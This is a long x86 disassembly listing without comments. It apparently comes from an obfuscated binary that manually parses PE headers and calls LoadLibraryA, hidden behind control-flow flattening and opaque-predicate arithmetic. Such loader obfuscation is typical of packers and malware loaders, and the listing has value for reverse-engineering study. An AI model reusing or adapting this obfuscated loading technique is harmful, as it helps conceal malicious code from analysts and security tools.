movzx eax, word [ebp - 0x116]
shr eax, 0xc
mov edx, eax
xor edx, 5
mov ecx, eax
or ecx, 0x5a9a
and edx, eax
mov edi, ecx
and edi, 0x5a87
mov esi, edx
not esi
and edx, 0xfffffff8
or edi, 0x560
or ecx, esi
and esi, 0xfffffa87
or edx, esi
not ecx
mov esi, eax
not esi
and eax, 0xfffffffb
xor edi, edx
and esi, 4
or ecx, edi
or eax, esi
mov edx, ecx
not edx
and ecx, 0xffff8f87
and edx, 0x7008
or edx, ecx
xor ecx, 0xad0
xor edx, 0xffffd50e
and ecx, 0xbd0
mov esi, edx
and esi, 0xf40f
or ecx, esi
xor ecx, eax
mov eax, 0xf727ac70
xor ecx, 0xbd4
xor edx, ecx
and edx, ecx
mov dword [ebp - 0x16c], edx
jmp 0x401200
cmp eax, 0x8feba7df
je 0x40f8af
cmp eax, 0x8ff5d2a5
je 0x40f996
cmp eax, 0x913e767b
jne 0x401200
mov eax, dword [ebp - 0xc4]
vxorps xmm0, xmm0, xmm0
mov edi, 0xcaa011b9
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0xc4]
mov dword [eax], 0x44
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1e7fc3fb
and eax, 0xe1803c04
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0xe0002800
xor edx, 0x1e7fc3fb
xor ecx, 0x1e7fc3fa
and ecx, edx
and eax, 0xfa10ab72
and edx, 0x5ef548d
or edx, eax
mov eax, ecx
not eax
and ecx, 0x7ef26d04
mov esi, eax
and esi, 0x810d92fb
or ecx, esi
mov esi, edx
xor esi, 0x4e24404
xor edx, 0xfa10ab73
or eax, edx
and edx, 0x810d92fb
and esi, 0x7ef26d04
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x978992cf
mov ecx, eax
not ecx
and eax, 0x9b5cf92c
and ecx, 0x64a306d3
or eax, ecx
mov ecx, eax
xor ecx, 0x35c6008
xor eax, 0x64220201
and eax, 0xfc229b25
and ecx, 0x3dd64da
or ecx, eax
xor ecx, 0xfc229b25
sete al
setne ah
cmp dword [0x48f780], 0xa
setge cl
setl ch
mov edx, ecx
xor ch, al
xor al, cl
or cl, ah
not cl
not al
xor dl, ah
or cl, ch
not cl
or cl, al
mov eax, 0xcaa011b9
xor cl, dl
and cl, 1
cmovne eax, esi
test cl, dl
cmove eax, esi
test cl, cl
cmove eax, edi
test cl, dl
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x20]
cmovne eax, edi
mov ecx, dword [ecx]
add ecx, 0x18
mov dword [ebp - 0x124], ecx
jmp 0x401200
cmp eax, 0x5268fccc
je 0x40fa4b
cmp eax, 0x52bd79da
je 0x40fb48
cmp eax, 0x5349f956
jne 0x401200
mov eax, 0x5023dfce
jmp 0x401200
cmp eax, 0xd2fe52c6
je 0x40fb5d
cmp eax, 0xd33e47cf
je 0x40fb67
cmp eax, 0xd35ce4aa
jne 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
or edx, 1
mov eax, ecx
and eax, 1
mov esi, edx
not esi
and edx, 0x4d9b60e4
or eax, esi
mov esi, ecx
not esi
and ecx, 0x310f9e89
and eax, 0xb2649f1b
and esi, 0xcef06176
or eax, edx
or ecx, esi
mov edx, eax
xor edx, 0x3024070b
xor eax, 0x4d9b60e4
mov esi, eax
and esi, 0x835b9830
and edx, 0x7ca467cf
or edx, esi
mov esi, ecx
xor esi, 0x30040689
xor ecx, 0xcef06176
or eax, ecx
and ecx, 0x835b9830
and esi, 0x7ca467cf
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x2dbe5ce
mov ecx, eax
not ecx
and eax, 0x9a7f6a34
and ecx, 0x658095cb
or eax, ecx
xor eax, 0x9a7f6a34
sete ah
setne dl
cmp dword [0x48f780], 0xa
setge al
setl cl
mov ch, al
or al, ah
xor ch, dl
or dl, cl
or cl, ah
mov ah, dl
xor cl, 1
xor ah, al
or al, dl
or cl, ch
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0xda9c6e7a
jmp 0x40bccf
cmp eax, 0x3710b4a1
je 0x40fce1
cmp eax, 0x374b0497
je 0x40fd56
cmp eax, 0x374bd403
jne 0x401200
mov eax, dword [ebp - 0x15c]
mov eax, 0x4e20449b
jmp 0x401200
cmp eax, 0xb526cdce
je 0x40fdf7
cmp eax, 0xb5714040
je 0x40fe01
cmp eax, 0xb5ae0158
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xd9e2c937
mov edx, eax
and edx, 0xc8a20806
and ecx, eax
not eax
mov esi, eax
and esi, 0x1140c131
or edx, esi
mov esi, 0x83988e7b
xor edx, 0xc8a20806
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xfd840bb3
and edx, 0x27bf44c
or ecx, edx
mov edx, ecx
xor edx, 0x2426c200
xor ecx, 0xd998195a
and ecx, 0xd9d819df
and edx, 0x2627e620
or edx, ecx
xor edx, 0x2627e620
or edx, eax
cmp edx, 0xffffffff
sete dl
cmp dword [0x48f780], 0xa
setl al
mov ecx, eax
or al, dl
xor cl, dl
mov edx, dword [ebp - 0x24]
xor al, 1
or al, cl
xor al, cl
mov edx, dword [edx]
mov dword [ebp - 0x10c], edx
mov edx, 0x136e0e39
cmovne edx, esi
test al, cl
mov ecx, 0x136e0e39
cmove edx, esi
cmovne edx, ecx
test al, al
jmp 0x40fcd7
cmp eax, 0x7358849c
je 0x40fe0b
cmp eax, 0x740c108e
je 0x40fe15
cmp eax, 0x74513194
jne 0x401200
mov eax, dword [ebp - 0xc4]
mov eax, dword [0x48f784]
mov edi, 0x978992cf
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x854fe195
and eax, ecx
not ecx
and ecx, 0x854fe195
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe6c49232
and ecx, 0x193b6dcd
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x18540c58
xor edx, 0x638b73a7
xor ecx, 0x638b73a6
and ecx, edx
and eax, 0x3a577c5e
and edx, 0xc5a883a1
or edx, eax
mov eax, ecx
not eax
and ecx, 0x8907f8ea
mov esi, eax
and esi, 0x76f80715
or ecx, esi
mov esi, edx
xor esi, 0x810080a0
xor edx, 0x3a577c5f
or eax, edx
and edx, 0x76f80715
and esi, 0x8907f8ea
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x730694fb
and edx, 0x8cf96b04
or edx, esi
mov esi, ecx
not esi
and ecx, 0x8cf96b04
or eax, esi
and esi, 0x730694fb
or ecx, esi
not eax
mov esi, 0x913e767b
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1016ef88
and ecx, 0xefe91077
or ecx, eax
cmp ecx, 0xefe91077
sete al
cmp dword [0x48f780], 0xa
setge dl
setl cl
mov ah, dl
xor cl, al
xor ah, al
and dl, ah
mov bl, ah
or cl, dl
or bl, cl
xor cl, ah
mov eax, 0x978992cf
mov ch, cl
xor ch, bl
test cl, cl
cmovne eax, esi
test bl, bl
cmovne eax, edi
test ch, ch
cmove eax, esi
jmp 0x401200
cmp eax, 0xf6305c8e
je 0x40fe28
cmp eax, 0xf6a64e78
je 0x40fe40
cmp eax, 0xf6fbafdc
jne 0x401200
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, 0x6491f47
jmp 0x401200
cmp eax, 0xff1e53e
je 0x40ff31
cmp eax, 0x118f6421
je 0x410011
cmp eax, 0x124c70c5
jne 0x401200
mov eax, dword [ebp - 0xf4]
add eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xd0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0xd0]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
cmp dword [eax], 0
mov eax, dword [0x48f784]
lea edx, [eax + 1]
setne byte [ebp - 0xab]
imul edx, eax
mov ecx, edx
xor ecx, 0xe9de25d4
mov eax, edx
and eax, 0x62e00933
and ecx, edx
not edx
and edx, 0x9d1ff6cc
or eax, edx
mov edx, eax
xor eax, 0x891e24c4
xor edx, 0x400100
mov esi, eax
or esi, 0x1580a
and edx, 0x81582104
and esi, 0x68875cda
or edx, esi
mov esi, ecx
not esi
and ecx, 0x9778a325
or eax, esi
and esi, 0x68875cda
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x1621da2b
and eax, 0xe9de25d4
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0x87566f17
and eax, 0x78a990e8
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xe7bbeab0
mov esi, ecx
and esi, 0x1844154f
or edx, esi
mov esi, eax
xor esi, 0x60a980a0
xor eax, 0x87566f16
or ecx, eax
and eax, 0x1844154f
and esi, 0xe7bbeab0
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x7eb32787
mov eax, ecx
not eax
and ecx, 0xe479023b
and eax, 0x1b86fdc4
or ecx, eax
mov eax, ecx
xor eax, 0xc4690031
xor ecx, 0x864c84
and ecx, 0x20964e8e
and eax, 0xdf69b171
or eax, ecx
mov ecx, eax
xor ecx, 0x100e88
xor eax, 0x5a202160
and ecx, 0x85599e99
and eax, 0x7aa66166
or eax, ecx
mov ecx, eax
xor ecx, 0x1189c08
xor eax, 0x72060022
and eax, 0xf64702b3
and ecx, 0x9b8fd4c
or ecx, eax
xor ecx, 0x9b8fd4c
sete cl
setne dl
cmp dword [0x48f780], 0xa
setge ch
setl al
mov ah, ch
and al, dl
and ah, cl
xor cl, ch
and cl, ch
inc ch
or al, ah
and ch, dl
or al, cl
or ch, ah
mov edx, eax
mov cl, ch
xor cl, 1
mov ah, cl
and ah, ch
xor ah, 1
or ah, ch
xor ah, 1
or ah, cl
or cl, al
xor al, 1
and dl, al
mov ch, al
xor dl, 1
xor ch, dl
or dl, al
mov al, ah
xor dl, 1
xor al, 1
or dl, ch
and al, dl
xor dl, 1
and dl, ah
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x32ea2a16
cmovne eax, esi
test cl, cl
mov ecx, 0x32ea2a16
jmp 0x41117e
cmp eax, 0x8975ccfd
je 0x410024
cmp eax, 0x8996f6dd
je 0x41002e
cmp eax, 0x8a2e8fff
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x20c58302
mov esi, edx
and esi, 0xdf3a7cfd
and edx, 0xd1cb245
or ecx, esi
mov esi, ecx
xor ecx, 0x87122c4d
xor esi, 0x808000
or ecx, 0x586d53b0
and esi, 0x84908445
mov edi, ecx
and edi, 0x6327290a
or esi, edi
mov edi, eax
xor edi, 0xa792ac4f
and edi, eax
and eax, 0xf2e34dba
mov ebx, edi
not ebx
and edi, 0x9cd8d6f5
or eax, edx
or ecx, ebx
and ebx, 0x6327290a
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x62c0e339
and esi, 0x9d3f1cc6
or ecx, esi
mov esi, ecx
xor ecx, 0x8a0b008
xor esi, 0xc5524f77
mov edx, esi
and edx, 0xb70d4381
and ecx, 0x48f2bc7e
or ecx, edx
mov edx, eax
xor edx, 0x40e20c3a
xor eax, 0xd1cb245
or esi, eax
and eax, 0xb70d4381
and edx, 0x48f2bc7e
or edx, eax
not esi
xor edx, ecx
or esi, edx
mov eax, esi
not eax
and esi, 0x305c8cb8
and eax, 0xcfa37347
or esi, eax
xor esi, 0x305c8cb8
mov esi, 0xb328759c
sete al
setne dl
cmp dword [0x48f780], 0xa
setl ah
setge cl
and ah, dl
xor dl, cl
and al, cl
xor dl, 1
or al, ah
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor dl, al
xor al, 1
xor cl, 1
or al, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0xf5c4f41
cmovne edx, esi
test al, 1
mov eax, 0xf5c4f41
jmp 0x40ad6a
cmp eax, 0x4b09c7ec
je 0x410038
cmp eax, 0x4c7b390f
je 0x410214
cmp eax, 0x4caaed3e
jne 0x401200
mov eax, 0xedf52ffa
jmp 0x401200
cmp eax, 0xcc77657a
je 0x41021e
cmp eax, 0xccbb1314
je 0x410228
cmp eax, 0xcdb10b24
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x30011004
mov esi, edx
mov edi, edx
or esi, 0x110c81a
and ecx, 0x3111d81e
and edi, 0xe0e05e1
and edx, 0x9a15592d
or edi, ecx
mov ecx, eax
and esi, 0x3111d81e
and ecx, 0xc0e02200
and eax, 0x65eaa6d2
or ecx, esi
or eax, edx
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0x6efdcb7e
and esi, 0x91023481
or ecx, esi
mov esi, ecx
xor ecx, 0x18088839
xor esi, 0x61e30684
mov edx, esi
and edx, 0x86577742
and ecx, 0x79a888bd
or ecx, edx
mov edx, eax
xor edx, 0x61a88090
xor eax, 0x9a15592d
or esi, eax
and eax, 0x86577742
and edx, 0x79a888bd
or edx, eax
not esi
xor edx, ecx
or esi, edx
cmp esi, 0xffffffff
mov esi, 0x53a8a519
setne ah
cmp dword [0x48f780], 0xa
mov al, ah
setge ch
setl dl
mov cl, ch
or al, ch
xor cl, ah
and al, cl
mov cl, ah
and ah, dl
inc cl
or dl, cl
and cl, ch
xor dl, 1
or cl, ah
or cl, dl
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x43a318b9
cmovne eax, esi
test dl, dl
not cl
mov edx, 0x43a318b9
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x401200
cmp eax, 0x31614072
je 0x410246
cmp eax, 0x31d07d5b
je 0x410250
cmp eax, 0x31d9816d
jne 0x401200
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
add eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov eax, 0x76234b7b
jmp 0x401200
cmp eax, 0xacb81fe5
je 0x410372
cmp eax, 0xad557a39
je 0x410487
cmp eax, 0xb0abf14e
jne 0x401200
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [0x48f784]
mov eax, dword [eax]
cmp dword [eax], 0x4550
lea eax, [ecx + 1]
setne byte [ebp - 0xa3]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x3b0420
and eax, 0xa9000859
mov edx, ecx
and edx, 0x50007206
or ecx, 0x102b1426
or esi, edx
and ecx, 0x16ef95a6
mov edx, esi
xor edx, 0x100000
xor esi, 0x16c49186
or eax, ecx
and esi, 0x16ef95a6
and edx, 0x40106200
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x621c08e0
and ecx, 0x9de3f71f
or eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0x40008000
xor esi, 0x32277ec6
xor eax, 0x25937478
and eax, esi
and ecx, 0x7005ae82
and esi, 0x8ffa517d
or esi, ecx
mov ecx, esi
mov edi, esi
xor ecx, 0x8ffa517d
xor edi, 0x67b1a43c
xor esi, 0x10052600
and edi, ecx
and esi, 0x10353720
mov edx, edi
not edx
and edi, 0x301a0337
mov ebx, edx
and ebx, 0xcfe5fcc8
or edi, ebx
mov ebx, eax
not ebx
and eax, 0x301a0337
or edx, ebx
and ebx, 0xcfe5fcc8
or eax, ebx
not edx
xor eax, edi
or edx, eax
mov eax, edx
not eax
and edx, 0x4f7b02bc
and eax, 0xb084fd43
or edx, eax
mov eax, ecx
and eax, 0xefcac8df
and ecx, 1
or eax, esi
xor edx, 0x58cf0803
xor eax, 0x10353721
or ecx, eax
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, ecx
and eax, 0xcc985359
andn ecx, ecx, ecx
and edx, 0x3367aca6
or eax, edx
xor eax, 0xcc985359
or ecx, eax
setne cl
cmp dword [0x48f780], 0xa
mov ah, cl
setl dl
setge al
or al, cl
xor cl, dl
or ah, dl
not cl
xor ah, 1
and cl, dl
or cl, ah
mov edx, ecx
xor dl, al
xor al, 1
mov ch, al
or al, cl
xor dl, 1
xor al, 1
xor ch, cl
or al, dl
mov edx, 0x4ebe0307
mov cl, al
xor cl, ch
test al, 1
mov eax, 0xabcbb7a3
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, 1
mov edx, 0xabcbb7a3
cmove eax, edx
jmp 0x401200
cmp eax, 0x6db13f90
je 0x4105d9
cmp eax, 0x6ef36f18
je 0x4105e3
cmp eax, 0x6f08745e
jne 0x401200
mov eax, 0x71658981
jmp 0x401200
cmp eax, 0xedf52ffa
je 0x41070b
cmp eax, 0xee4abcd3
je 0x41084e
cmp eax, 0xefce147d
jne 0x401200
mov eax, dword [ebp - 0x40]
mov eax, 0x3c0b5410
jmp 0x401200
cmp eax, 0x2693886a
je 0x410949
cmp eax, 0x274aecf3
je 0x4109da
cmp eax, 0x2785edea
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x964f4498
and edx, 0x69b0bb66
or ecx, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
mov esi, ecx
xor esi, 0x84014018
xor ecx, 0x69b0bb67
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x735e2fc6
and esi, 0x8ca1d038
and edx, 0x8ca1d039
or ecx, ebx
and ebx, 0x735e2fc6
or esi, edi
or edx, ebx
not ecx
xor edx, esi
mov esi, 0x2e96d61e
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne dl
sete ah
cmp dword [0x48f780], 0xa
mov ch, dl
setl cl
setge al
or dl, cl
and ch, al
and cl, ah
or cl, ch
xor dl, 1
xor cl, 1
or cl, al
or al, ah
xor al, 1
xor cl, 1
or al, dl
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
mov ah, cl
xor dl, 1
xor ah, al
or dl, al
or al, cl
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xe6da5c3d
cmovne eax, esi
test dl, 1
mov edx, 0xe6da5c3d
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401200
cmp eax, 0x9a9b58a5
je 0x410ab4
cmp eax, 0x9baf56bf
je 0x410bb2
cmp eax, 0x9bbe67af
jne 0x401200
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
and esi, 0x845e1702
mov eax, ecx
and eax, 0x7ba1e8fc
and ecx, 0x9988f3c5
or esi, eax
mov eax, edx
xor eax, 0xfffffffe
xor esi, 0x845e1702
and eax, edx
or eax, esi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0x66770c3a
and edi, 0x66770c3a
and esi, 0x9988f3c5
or ecx, edx
not eax
or esi, edi
xor ecx, esi
mov esi, 0xc8a807ef
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x507c4c73
and ecx, 0xaf83b38c
or eax, ecx
xor eax, 0x507c4c73
setne ah
sete ch
cmp dword [0x48f780], 0xa
mov cl, ah
setge al
setl dl
xor cl, al
mov dh, al
and ah, dl
or dl, ch
and al, ch
and cl, ch
or dh, ch
xor dl, 1
or al, ah
xor cl, 1
or al, dl
mov ebx, ecx
or cl, dh
xor bl, dh
xor cl, 1
or cl, bl
mov ah, cl
mov edx, ecx
and ah, al
xor al, 1
xor dl, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x2860faaa
cmovne ecx, esi
test al, 1
mov eax, 0x2860faaa
jmp 0x4011f2
cmp eax, 0x5b9c1ef6
je 0x410bbc
cmp eax, 0x5cc111dc
je 0x410bc6
cmp eax, 0x5ce933c7
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x1f3a37a7
not edx
mov esi, edx
and ecx, eax
and esi, 0x1f3a37a7
and edx, 0x29212cbc
and eax, 0xd6ded343
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x1f3a37a6
and esi, 0xe0c5c859
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x1b790de1
mov esi, edx
and esi, 0xe486f21e
or ecx, esi
mov esi, eax
xor esi, 0x12580141
xor eax, 0x2000201c
and eax, 0xe486f21e
and esi, 0x1b790de1
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x2ae2357c
sete al
setne cl
cmp dword [0x48f780], 0xa
setge ah
setl dl
and al, ah
or ah, cl
and dl, cl
xor ah, 1
or al, dl
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x262ce25d
cmovne eax, esi
test cl, cl
mov ecx, 0x262ce25d
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401200
cmp eax, 0xdebb3800
je 0x410bed
cmp eax, 0xdf6a5733
je 0x410c12
cmp eax, 0xe03c7fba
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xc503d086
and edx, 0x3afc2f79
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3afc2f79
or eax, esi
and esi, 0xc503d086
or ecx, esi
not eax
mov esi, 0x43ece334
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0xffbd139d
and edx, 0xfffffffe
and ecx, 0x42ec62
or eax, ecx
xor eax, 0xffbd139c
or eax, edx
xor eax, 0xffffffff
setne al
sete dl
cmp dword [0x48f780], 0xa
setl ch
setge ah
mov cl, ch
and al, ch
and ah, dl
xor ch, dl
or cl, dl
or al, ah
xor cl, 1
mov ah, al
or cl, ch
xor ah, 1
mov edx, ecx
mov ch, ah
xor ah, cl
xor cl, 1
and dl, al
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x30d15c09
cmovne ecx, esi
test al, 1
mov eax, 0x30d15c09
jmp 0x410aa7
cmp eax, 0x3f05baeb
je 0x410db0
cmp eax, 0x4008b438
je 0x410dba
cmp eax, 0x40858132
jne 0x401200
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
mov ecx, edx
xor ecx, 0x76f524cc
mov eax, edx
and eax, 0xe1035291
and ecx, edx
not edx
and edx, 0x1efcad6e
mov esi, ecx
not esi
and ecx, 0xeb6e8609
or eax, edx
mov edx, eax
xor eax, 0x16f4244c
xor edx, 0x60000000
or eax, 0x890adb33
and edx, 0x62640408
mov edi, eax
or eax, esi
and edi, 0x149179f6
and esi, 0x149179f6
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb21b81a5
and ecx, 0x4de47e5a
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x8101a82
xor edx, 0xc4eea569
xor ecx, 0x44eea569
and ecx, edx
and eax, 0xccf43bca
and edx, 0x330bc435
or edx, eax
mov eax, ecx
not eax
and ecx, 0xfe7abf92
mov esi, edx
xor esi, 0xb20a8410
xor edx, 0x4cf43bca
mov edi, eax
and edi, 0x185406d
or eax, edx
and edx, 0x185406d
and esi, 0xfe7abf92
or ecx, edi
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
xor ecx, 0x80fdb9f
mov edx, eax
and edx, 0x54a11
and ecx, eax
not eax
and eax, 0x80a918e
or edx, eax
xor edx, 0x54a11
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x197d3a5a
and eax, 0xe682c5a5
or ecx, eax
mov eax, ecx
xor eax, 0x104021c5
xor ecx, 0x40840c32
and eax, 0xbe4933cd
and ecx, 0x41b6cc32
or ecx, eax
mov eax, 0x250c8d64
xor ecx, 0x41b6cc32
mov dword [ebp - 0x210], ecx
jmp 0x401200
cmp eax, 0xbe085f39
je 0x410dcd
cmp eax, 0xbe5a6af1
je 0x410e89
cmp eax, 0xbf4896e3
jne 0x401200
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, 0xc3ab7995
jmp 0x401200
cmp eax, 0x7b9e75a7
je 0x410f9e
cmp eax, 0x7ba8ca6c
jne 0x401200
cmp byte [ebp - 0xa5], 0
mov eax, 0x4273dbf0
mov ecx, 0x47034398
cmovne eax, ecx
jmp 0x401200
cmp eax, 0x46511c8
je 0x410fc6
cmp eax, 0x4e54a6b
jne 0x401200
mov ecx, dword [0x48f784]
mov ebx, 0x8ff5d2a5
mov edi, 0x8ff5d2a5
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov ecx, eax
and ecx, 0xa25b8e8
and eax, 0xb120eab0
mov edx, esi
and edx, 0xf5da4717
and esi, 0x4edf154f
or ecx, edx
or eax, esi
mov edx, ecx
not edx
and ecx, 0xaf73f336
and edx, 0x508c0cc9
or ecx, edx
mov edx, ecx
xor edx, 0x4228a000
xor ecx, 0xa5564bdf
mov esi, ecx
and esi, 0xb9d35c60
and edx, 0x462ca39f
or edx, esi
mov esi, eax
xor esi, 0x20a290
xor eax, 0x8d31440
and eax, 0xb9d35c60
and esi, 0x462ca39f
or esi, eax
xor esi, edx
not esi
or esi, ecx
xor esi, 0xffffffff
mov esi, 0xd033942c
sete ah
setne al
cmp dword [0x48f780], 0xa
setge cl
setl ch
mov edx, ecx
or cl, al
xor dl, al
xor al, ch
and dl, ah
not al
and al, ch
xor dl, 1
xor al, 1
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
cmovne ebx, esi
test al, 1
mov eax, ebx
cmovne eax, edi
test dl, 1
cmovne eax, ebx
jmp 0x401200
cmp eax, 0xf3fd730
je 0x410fd9
cmp eax, 0xf5c4f41
jne 0x401200
mov eax, 0xb328759c
jmp 0x401200
cmp eax, 0x86017ede
je 0x410ff2
cmp eax, 0x860f2bab
jne 0x401200
mov eax, dword [ebp - 0xcc]
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
and eax, 0x86b40ebd
mov edi, edx
or edi, 0x6c03e270
mov esi, edx
and esi, 0x6c03e270
and edx, 0x794bf142
mov ecx, edi
not ecx
and edi, 0x93fc1d8e
or eax, edx
or ecx, esi
and ecx, 0x6c03e271
or ecx, edi
mov edx, ecx
not edx
and ecx, 0x8b8bd3ad
mov esi, edx
and esi, 0x74742c52
or ecx, esi
mov esi, eax
xor esi, 0x828002ad
xor eax, 0x70402042
and eax, 0x74742c52
and esi, 0x8b8bd3ad
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0xf0f74a94
setne dl
sete ch
cmp dword [0x48f780], 0xa
mov cl, dl
mov dh, ch
setge al
setl ah
xor cl, al
or dh, al
and dl, ah
or ah, ch
and cl, al
and al, ch
mov bl, dh
xor ah, 1
or al, dl
xor cl, 1
xor bl, cl
or cl, dh
or al, ah
xor cl, 1
mov edx, eax
or cl, bl
xor dl, 1
mov ah, cl
mov ch, dl
or dl, cl
xor cl, 1
and ch, cl
xor cl, al
xor dl, 1
and ah, al
or dl, cl
or ah, ch
mov ecx, 0xff1e53e
mov al, dl
xor al, ah
test dl, 1
cmovne ecx, esi
test ah, 1
not al
cmove ecx, esi
test al, 1
mov eax, 0xff1e53e
cmovne ecx, eax
mov eax, ecx
jmp 0x401200
